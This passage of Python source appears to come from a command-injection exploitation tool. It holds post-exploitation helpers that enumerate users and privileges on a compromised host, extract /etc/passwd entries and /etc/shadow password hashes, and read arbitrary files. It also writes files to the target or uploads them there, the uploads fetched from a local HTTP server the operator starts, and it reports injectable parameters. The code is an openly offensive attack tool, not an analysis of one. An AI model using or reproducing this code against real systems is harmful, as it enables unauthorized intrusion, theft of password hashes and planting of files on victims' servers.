settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
info_msg = "Hostname: " + str(shell)
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
else:
warn_msg = "Failed to identify the hostname."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Print current user info
"""
def print_current_user(cu_account, filename, _):
if cu_account:
if settings.VERBOSITY_LEVEL == 0 and _:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
info_msg = "Current user: " + str(cu_account)
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
else:
warn_msg = "Failed to fetch the current user."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Print current user privs
"""
def print_current_user_privs(shell, filename, _):
priv = "True"
if (settings.TARGET_OS == settings.OS.WINDOWS and not "Admin" in shell) or \
(settings.TARGET_OS != settings.OS.WINDOWS and shell != "0"):
priv = "False"
if settings.VERBOSITY_LEVEL == 0 and _:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
info_msg = "Current user has excessive privileges: " + str(priv)
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
"""
Print OS info
"""
def print_os_info(target_os, target_arch, filename, _):
if target_os and target_arch:
if settings.VERBOSITY_LEVEL == 0 and _:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch)
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
info_msg = info_msg + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
else:
warn_msg = "Failed to fetch underlying operating system information."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Print enumeration info msgs
"""
class print_enumenation():
def ps_version_msg(self):
info_msg = "Fetching powershell version."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
def hostname_msg(self):
info_msg = "Fetching hostname."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
def current_user_msg(self):
info_msg = "Fetching current user."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
def check_privs_msg(self):
info_msg = "Testing if current user has excessive privileges."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
def os_info_msg(self):
info_msg = "Fetching the underlying operating system information."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
def print_users_msg(self):
if settings.TARGET_OS == settings.OS.WINDOWS:
info_msg = "Executing the 'net user' command "
else:
info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' "
info_msg += "in order to enumerate operating system users. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
def print_passes_msg(self):
info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + "' "
info_msg += "in order to enumerate operating system users password hashes. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
def print_single_os_cmd_msg(self, cmd):
info_msg = "Executing the user-supplied command: '" + cmd + "'."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
"""
Print users enumeration.
"""
def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell):
# Windows users enumeration.
if settings.TARGET_OS == settings.OS.WINDOWS:
try:
if sys_users and any(account in sys_users for account in settings.DEFAULT_WIN_USERS):
sys_users = "".join(str(p) for p in sys_users).strip()
sys_users_list = re.findall(r"(.*)", sys_users)
sys_users_list = "".join(str(p) for p in sys_users_list).strip()
sys_users_list = ' '.join(sys_users_list.split())
sys_users_list = sys_users_list.split()
if len(sys_users_list) != 0 :
if settings.VERBOSITY_LEVEL == 0 and _:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
info_msg = "Identified operating system"
info_msg += " user" + ('s', '')[len(sys_users_list) == 1]
info_msg += " [" + str(len(sys_users_list)) + "]:"
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
count = 0
for user in range(0, len(sys_users_list)):
count = count + 1
is_privileged = is_privileged = ""
settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL)
# Add infos to logs file.
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
if count == 1 :
output_file.write("\n")
output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" )
else:
# settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to enumerate operating system users."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
except TypeError:
pass
except IndexError:
# settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that you don't have permissions to enumerate operating system users."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
pass
# Unix-like users enumeration.
else:
try:
if sys_users:
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(settings.SINGLE_WHITESPACE)) <= 1 :
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(settings.SINGLE_WHITESPACE)
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0 :
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users).strip()
settings.print_data_to_stdout(sys_users)
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
output_file.write(" " + sys_users)
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user : user + 3])
if len(sys_users_list) != 0 :
if settings.VERBOSITY_LEVEL == 0 and _:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
info_msg = "Identified operating system"
info_msg += " user" + ('s', '')[len(sys_users_list) == 1]
info_msg += " [" + str(len(sys_users_list)) + "]:"
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
count = count + 1
fields = sys_users.split(":")
fields1 = "".join(str(p) for p in fields)
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(fields[1]) < 99 :
is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else :
is_privileged = ""
is_privileged_nh = ""
else :
is_privileged = ""
is_privileged_nh = ""
settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
# Add infos to logs file.
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
if count == 1 :
output_file.write("\n")
output_file.write("(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
except ValueError:
if count == 1 :
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
warn_msg += "appropriate format. Thus, it is expoted as a text file."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users.split(":"))
settings.print_data_to_stdout(sys_users)
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
output_file.write(" " + sys_users)
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the content of the file '" + settings.PASSWD_FILE + "'."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
except TypeError:
pass
except IndexError:
warn_msg = "Some kind of WAF/IPS probably blocks the attempt to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate operating system users."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
pass
"""
Print users enumeration.
"""
def print_passes(sys_passes, filename, _, alter_shell):
if sys_passes == "":
sys_passes = settings.SINGLE_WHITESPACE
sys_passes = sys_passes.replace(settings.SINGLE_WHITESPACE, "\n").split()
if len(sys_passes) != 0 :
if settings.VERBOSITY_LEVEL == 0 and _:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
info_msg = "Identified operating system"
info_msg += " user" + ('s', '')[len(sys_passes) == 1]
info_msg += " password hashes [" + str(len(sys_passes)) + "]:"
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg )
count = 0
for line in sys_passes:
count = count + 1
try:
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "":
settings.print_data_to_stdout(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
# Add infos to logs file.
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
if count == 1 :
output_file.write("\n")
output_file.write("(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1 :
warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
settings.print_data_to_stdout(fields[0])
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
output_file.write(" " + fields[0])
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the content of the file '" + settings.SHADOW_FILE + "'."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Print single OS command
"""
def print_single_os_cmd(cmd, output, filename):
if len(output) > 1:
_ = "'" + cmd + "' execution output"
settings.print_data_to_stdout(settings.print_retrieved_data(_, output))
try:
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "User-supplied command " + _ + ": " + output.encode(settings.DEFAULT_CODEC).decode() + "\n")
except TypeError:
pass
else:
err_msg = common.invalid_cmd_output(cmd)
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
"""
Quote provided cmd
"""
def quoted_cmd(cmd):
cmd = "\"" + cmd + "\""
return cmd
"""
Add new "cmd /c"
"""
def add_new_cmd(cmd):
cmd = "cmd /c " + cmd
return cmd
"""
Escape single quoted cmd
"""
def escape_single_quoted_cmd(cmd):
cmd = cmd.replace("'","\\'")
return cmd
"""
Find filename
"""
def find_filename(dest_to_write, content):
fname = os.path.basename(dest_to_write)
tmp_fname = fname + "_tmp"
# _ = settings.FILE_WRITE
if settings.TARGET_OS == settings.OS.WINDOWS:
# _ = settings.FILE_WRITE_WIN
cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'"
else:
cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname
return fname, tmp_fname, cmd
"""
Decode base 64 encoding
"""
def win_decode_b64_enc(fname, tmp_fname):
cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + fname.replace("\\","\\\\")
return cmd
"""
Add command substitution on provided command
"""
def add_command_substitution(cmd):
cmd = "echo $(" + cmd + ")"
return cmd
"""
Remove command substitution on provided command
"""
def remove_command_substitution(cmd):
cmd = cmd.replace("echo $(", "").replace(")", "")
return cmd
def remove_parenthesis(cmd):
cmd = cmd.replace("(", "").replace(")", "")
return cmd
"""
Write the file content
"""
def write_content(content, dest_to_write):
content = quoted_cmd(content)
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'"
else:
cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write
return cmd
"""
Delete filename
"""
def delete_tmp(tmp_fname):
cmd = settings.WIN_DEL + tmp_fname.replace("\\","\\\\")
return cmd
"""
Check if file exists.
"""
def check_file(dest_to_upload):
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.FILE_LIST_WIN + dest_to_upload.replace("\\","\\\\")
else:
cmd = settings.FILE_LIST + dest_to_upload
cmd = add_command_substitution(cmd)
return cmd
"""
Change directory
"""
def change_dir(dest_to_write):
dest_to_write = dest_to_write.replace("\\","/")
path = os.path.dirname(dest_to_write)
path = path.replace("/","\\")
cmd = "cd " + path
return cmd
"""
File content to read.
"""
def file_content_to_read():
file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
info_msg = "Fetching content of the file: '"
info_msg += file_to_read + "'."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_FILE_READ + file_to_read.replace("\\","\\\\")
else:
if settings.EVAL_BASED_STATE:
cmd = "(" + settings.FILE_READ + file_to_read + ")"
else:
cmd = settings.FILE_READ + file_to_read
return cmd, file_to_read
"""
File read status
"""
def file_read_status(shell, file_to_read, filename):
if shell:
_ = "Fetched file content"
settings.print_data_to_stdout(settings.print_retrieved_data(_, shell))
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
info_msg = "Extracted content of the file '"
info_msg += file_to_read + "' : " + shell + "\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to read the content of the file '" + file_to_read + "'."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Check upload/write destination
"""
def check_destination(destination):
if menu.options.file_write:
where = menu.options.file_write
else:
where = menu.options.file_upload
if os.path.split(destination)[1] == "" :
_ = os.path.split(destination)[0] + "/" + os.path.split(where)[1]
elif os.path.split(destination)[0] == "/":
_ = "/" + os.path.split(destination)[1] + "/" + os.path.split(where)[1]
elif os.path.split(destination)[0] == "\\":
_ = "\\" + os.path.split(destination)[1] + "\\" + os.path.split(where)[1]
else:
_ = destination
return _
"""
Write the content of the file
"""
def check_file_to_write():
file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
if not os.path.exists(file_to_write):
err_msg = "It seems that the provided local file '" + file_to_write + "' does not exist."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", settings.SINGLE_WHITESPACE) for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
if settings.TARGET_OS == settings.OS.WINDOWS:
import base64
content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode()
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
dest_to_write = check_destination(destination=menu.options.file_dest)
info_msg = "Trying to write the content of the file '"
info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
return file_to_write, dest_to_write, content
"""
File write status
"""
def file_write_status(shell, dest_to_write):
if shell:
info_msg = "The file has been successfully created on remote directory: '" + dest_to_write + "'."
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to write files on the remote directory '" + dest_to_write + "'."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
File upload procedure.
"""
def check_file_to_upload():
file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
try:
_urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
except _urllib.error.HTTPError as err_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")"
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
raise SystemExit()
except ValueError as err_msg:
err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
dest_to_upload = check_destination(destination=menu.options.file_dest)
info_msg = "Trying to upload the file from '"
info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
return cmd, dest_to_upload
"""
File upload status.
"""
def file_upload_status(shell, dest_to_upload):
if shell:
info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to upload files on the remote directory '" + dest_to_upload + "'."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Check if defined "--file-upload" option.
"""
def file_upload():
if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
# if not menu.options.file_dest.endswith("/"):
# menu.options.file_dest = menu.options.file_dest + "/"
# Check if not defined URL for upload.
while True:
message = "Do you want to enable a local HTTP server? [Y/n] > "
enable_HTTP_server = common.read_input(message, default="Y", check_batch=True)
if enable_HTTP_server in settings.CHOICE_YES:
# Check if file exists
if not os.path.isfile(menu.options.file_upload):
err_msg = "The '" + menu.options.file_upload + "' file, does not exist."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Setting the local HTTP server.
if settings.LOCAL_HTTP_IP == None:
while True:
message = "Please enter your interface IP address > "
ip_addr = common.read_input(message, default=None, check_batch=True)
# check if IP address is valid
ip_check = simple_http_server.is_valid_ipv4(ip_addr)
if ip_check == False:
err_msg = "The provided IP address seems not valid."
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
pass
else:
settings.LOCAL_HTTP_IP = ip_addr
break
# Check for invalid HTTP server's port.
if settings.LOCAL_HTTP_PORT < 1 or settings.LOCAL_HTTP_PORT > 65535:
err_msg = "Invalid HTTP server's port (" + str(settings.LOCAL_HTTP_PORT) + ")."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
http_server = "http://" + str(settings.LOCAL_HTTP_IP) + ":" + str(settings.LOCAL_HTTP_PORT)
info_msg = "Setting the HTTP server on '" + http_server + "/'. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
menu.options.file_upload = http_server + menu.options.file_upload
simple_http_server.main()
break
elif enable_HTTP_server in settings.CHOICE_NO:
if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload):
err_msg = "The provided '--file-upload' option requires the activation of a local HTTP server."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
break
elif enable_HTTP_server in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(enable_HTTP_server)
pass
def define_vulnerable_http_header(http_header_name):
if http_header_name == settings.USER_AGENT.lower():
settings.USER_AGENT_INJECTION = True
elif http_header_name == settings.REFERER.lower():
settings.REFERER_INJECTION = True
elif http_header_name == settings.HOST.lower():
settings.HOST_INJECTION = True
return http_header_name
"""
Check for wrong flags
"""
def check_wrong_flags():
if settings.TARGET_OS == settings.OS.WINDOWS:
if menu.options.is_root :
warn_msg = "Swithing '--is-root' to '--is-admin' because the "
warn_msg += "target has been identified as Windows."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
if menu.options.passwords:
warn_msg = "The '--passwords' option, is not yet supported Windows targets."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
if menu.options.file_upload :
warn_msg = "The '--file-upload' option, is not yet supported Windows targets. "
warn_msg += "Instead, use the '--file-write' option."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
raise SystemExit()
else:
if menu.options.is_admin :
warn_msg = "Swithing the '--is-admin' to '--is-root' because "
warn_msg += "the target has been identified as Unix-like. "
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Set writable path name
"""
def setting_writable_dir(path):
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Using '" + path + "' for writable directory."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
info_msg = "Trying to create a file in directory '" + path
info_msg += "' for command execution output. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
"""
Define python working dir (for windows targets)
"""
def define_py_working_dir():
if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.alter_shell:
while True:
message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER
message += "' as Python working directory on the target host? [Y/n] > "
python_dir = common.read_input(message, default="Y", check_batch=True)
if python_dir in settings.CHOICE_YES:
break
elif python_dir in settings.CHOICE_NO:
message = "Please provide a custom working directory for Python (e.g. '"
message += settings.WIN_PYTHON_INTERPRETER + "') > "
settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True)
break
else:
common.invalid_option(python_dir)
pass
settings.USER_DEFINED_PYTHON_DIR = True
"""
Checks for identified vulnerable parameter
"""
def identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter):
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.COOKIE_INJECTION == True:
header_name = settings.SINGLE_WHITESPACE + settings.COOKIE
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = settings.SINGLE_WHITESPACE + settings.REFERER
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = settings.SINGLE_WHITESPACE + settings.HOST
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
else:
total_of_requests()
# Print the findings to terminal.
info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "."
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
sub_content = str(url_decode(payload))
settings.print_data_to_stdout(settings.print_sub_content(sub_content))
"""
Finalize injection process
"""
def finalize(exit_loops, no_result, float_percent, injection_type, technique, shell):
if exit_loops == False:
if settings.VERBOSITY_LEVEL == 0:
percent = print_percentage(float_percent, no_result, shell)
injection_process(injection_type, technique, percent)
return True
else:
return True
else:
return False
"""
Provide custom server's root directory
"""
def custom_web_root(url, timesec, filename, http_request_method, url_time_response):
if not settings.CUSTOM_WEB_ROOT:
if settings.TARGET_OS == settings.OS.WINDOWS :
default_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0]
else:
default_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL)
message = "Enter what you want to use for writable directory (e.g. '"
message += default_root_dir + "') > "
settings.WEB_ROOT = common.read_input(message, default=default_root_dir, check_batch=True)
if len(settings.WEB_ROOT) == 0:
settings.WEB_ROOT = default_root_dir
settings.CUSTOM_WEB_ROOT = True
if not settings.LOAD_SESSION:
path = settings.WEB_ROOT
setting_writable_dir(path)
menu.options.web_root = settings.WEB_ROOT.strip()
"""
Return TEMP path for win / *nix targets.
"""
def check_tmp_path(url, timesec, filename, http_request_method, url_time_response):
def check_trailing_slashes():
if settings.TARGET_OS == settings.OS.WINDOWS and not menu.options.web_root.endswith("\\"):
menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "\\"
elif not menu.options.web_root.endswith("/"):
menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "/"
# Set temp path
if settings.TARGET_OS == settings.OS.WINDOWS:
if "microsoft-iis" in settings.SERVER_BANNER.lower():
settings.TMP_PATH = r"C:\\Windows\TEMP\\"
else:
settings.TMP_PATH = "%temp%\\"
else:
settings.TMP_PATH = "/tmp/"
if menu.options.tmp_path:
tmp_path = menu.options.tmp_path
else:
tmp_path = settings.TMP_PATH
if not settings.LOAD_SESSION and settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT:
settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT
if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
call_tmp_based = True
if menu.options.web_root:
settings.WEB_ROOT = menu.options.web_root
else:
# Provide custom server's root directory.
custom_web_root(url, timesec, filename, http_request_method, url_time_response)
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\")
check_trailing_slashes()
return tmp_path
"""
Check if file-based technique has failed,
then use the "/tmp/" directory for tempfile-based technique.
"""
def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response):
if no_result == True:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler
path = tmp_path
setting_writable_dir(path)
call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response)
return call_tfb
else:
settings.print_data_to_stdout(settings.END_LINE.CR)
"""
Check if to use the "/tmp/" directory for tempfile-based technique.
"""
def use_temp_folder(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response):
tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
settings.print_data_to_stdout(settings.END_LINE.CR)
message = "It seems that you don't have permissions to "
message += "read and/or write files in directory '" + settings.WEB_ROOT + "'."
if not menu.options.web_root:
message += " You are advised to rerun with option '--web-root'."
while True:
message = message + settings.END_LINE.LF + "Do you want to use the temporary directory ('" + tmp_path + "')? [Y/n] > "
tmp_upload = common.read_input(message, default="Y", check_batch=True)
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOICE_NO:
break
elif tmp_upload in settings.CHOICE_QUIT:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
raise
else:
common.invalid_option(tmp_upload)
pass
# continue
"""
Set time relative timesec
"""
def time_relative_timesec(timesec):
if settings.TIME_RELATIVE_ATTACK and settings.TIMESEC < 1:
timesec = 1
else:
timesec = settings.TIMESEC
return timesec
"""
Export the time relative injection results
"""
def time_relative_export_injection_results(cmd, separator, output, check_exec_time):
if settings.VERBOSITY_LEVEL == 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
if output != "" and check_exec_time != 0 :
info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_exec_time)) + "."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
# settings.print_data_to_stdout(settings.print_output(output))
else:
# Check for separator filtration on target host.
if output != False :
err_msg = "It seems that '" + cmd + "' command could not return "
err_msg += "any output due to '" + separator + "' filtration on target host. "
